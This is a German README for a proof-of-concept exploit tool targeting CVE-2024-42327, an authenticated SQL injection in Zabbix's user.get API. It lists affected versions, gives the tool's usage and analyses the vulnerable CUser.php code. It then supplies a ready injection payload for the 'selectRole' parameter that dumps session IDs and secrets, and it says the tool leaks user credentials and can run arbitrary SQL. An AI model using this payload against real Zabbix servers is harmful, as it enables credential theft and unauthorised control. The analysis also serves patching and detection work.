
POC für CVE-2024-42327, eine authentifizierte SQL-Injection in Zabbix über die user.get API-Methode
POC für CVE-2024-42327, eine authentifizierte SQL-Injection in Zabbix über die user.get API-Methode. Dieser POC ist nicht zeitbasiert wie einige der anderen POCs, die ich draußen gesehen habe.
Die Schwachstelle existiert im user.get API-Endpunkt, der von einem Nicht-Admin-Benutzer mit API-Zugriff ausgenutzt werden kann, einschließlich Konten mit der Standard-Benutzerrolle.
Der SQL-Injection-Fehler existiert in der CUser-Klasse in der Funktion addRelatedObjects. Diese Funktion wird von der Funktion CUser.get aufgerufen, die Benutzern mit API-Zugriff zur Verfügung steht.
Ein Angreifer kann SQL-Befehle durch Manipulation von API-Aufrufen einschleusen.
Eine erfolgreiche Ausnutzung der Schwachstelle könnte es einem Angreifer ermöglichen, unbefugten Zugriff und Kontrolle zu erlangen.
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
Dieser POC wird Benutzeranmeldeinformationen aus der Datenbank preisgeben sowie Sitzungstoken, um sich bei der API zu authentifizieren.
Es besteht die Möglichkeit, eine benutzerdefinierte SQL-Abfrage auszuführen (--query).
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Akzeptiert eine URL, BENUTZERNAME, PASSWORT und eine optionale benutzerdefinierte SQL-Abfrage.
options:
-h, --help Zeige diese Hilfemeldung an und beende
-u URL, --url URL Die URL zu Zabbix (bitte den Pfad angeben - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
Der Benutzername für die Authentifizierung
-P PASSWORD, --password PASSWORD
Das Passwort für die Authentifizierung
--query QUERY Eine optionale benutzerdefinierte SQL-Abfrage, die durch die SQL-Injection ausgeführt wird
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
Bei der Untersuchung des Codes unter https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php in der Funktion addRelatedObjects finden wir leicht die anfällige SQL-Abfrage (Zeilen 3046 - 3051)
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Es ist sofort offensichtlich, dass die in $options['selectRole'] enthaltenen Werte in die SQL-Abfrage übergeben werden.
Ein typischer JSON-Block, der diesen Teil des Codes trifft, sieht wie folgt aus:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
Wir können die "selectRole"-Werte so gestalten, dass sie SQL-Injection ermöglichen
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
Die obige Injektion führt zu einer SQL-Abfrage wie der folgenden:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)